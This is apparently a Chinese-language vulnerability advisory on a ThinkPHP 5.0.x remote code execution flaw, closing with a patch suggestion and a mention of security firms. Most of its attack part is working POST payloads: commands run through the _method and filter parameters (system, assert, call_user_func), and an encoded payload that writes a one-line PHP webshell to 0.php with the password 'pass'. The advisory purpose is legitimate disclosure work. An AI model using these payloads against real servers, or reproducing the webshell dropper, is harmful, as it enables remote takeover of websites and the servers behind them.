2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接遠程代碼執(zhí)行,getshell提權(quán)寫入網(wǎng)站木馬到網(wǎng)站根目錄,甚至直接提權(quán)到服務(wù)器,該漏洞影響版本ThinkPHP
5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp
5.0.22版本。
攻擊者可以偽造遠程惡意代碼,對服務(wù)器進行post提交數(shù)據(jù)來利用漏洞,該漏洞產(chǎn)生的原因是繼上次2019元旦前后爆出的網(wǎng)站漏洞后,又一次的致命漏洞。在thinkphp目錄下的library文件夾下的thinkrequest.php代碼。如下圖所示:
從上述代碼中可以看出整個代碼寫的流程,首先打開網(wǎng)站會從app.php代碼里將請求的網(wǎng)站地址使用check來進行解析,然后再經(jīng)過patch類型對其進行深度的賦值.然后可以使用post方式提交數(shù)據(jù)到_method函數(shù)當中去,框架會對進行判斷,然后對其調(diào)用傳入的參數(shù)值,經(jīng)過整個代碼的循壞以及傳入,就可以導致request的值給覆蓋掉,從而產(chǎn)生遠程代碼執(zhí)行,我們來構(gòu)造惡意的代碼,看看漏洞是如何使用的。
post地址:anquan/public/index.php?s=captcha
POST內(nèi)容:c=system&f=whoami&_method=filter
直接遠程提交過去就會執(zhí)行我們的命令 whoami。查看返回的post數(shù)據(jù)就可以看到我們要看的
信息。
在整體的所有版本中測試,thinkphp必須開啟debug模式才可以寫入webshell,寫入的執(zhí)行代碼是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode
('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1
寫入的是一句話木馬,連接密碼是pass.
有些低版本的網(wǎng)站,可以不使用captcha參數(shù)也可是執(zhí)行遠程代碼,代碼如下:_method=__construct&filter[]=system&method=GET&get[]=whoami
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
以上三個都是可以執(zhí)行遠程代碼的。
關(guān)于thinkphp漏洞的修復建議:
盡快升級thinkphp到最新版本,有一些網(wǎng)站可能不方便升級,也可以對代碼的文件進行修復,漏洞代碼是library/think/Request.php對該代碼的526行,527行進行添加設(shè)置白名單機制,對請求過來的數(shù)據(jù),以及接收的數(shù)據(jù)進行安全限制。if
(in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method =
$method,網(wǎng)站程序代碼的安全很重要,如果網(wǎng)站使用了開源的CMS系統(tǒng)代碼,不懂程序技術(shù)的話,網(wǎng)站會經(jīng)常被黑客攻擊,如果自己懂程序,那就可以自己針對代碼的漏洞進行漏洞修復,不懂的話,就請專業(yè)的網(wǎng)站安全公司來完善一下程序上的某些代碼漏洞,國內(nèi)像SINE安全、綠盟安全、啟明星辰都是比較專業(yè)的安全公司,很多黑客之所以能植入木馬病毒,就是抓住了這些網(wǎng)站代碼上的漏洞。
熱門工具 換一換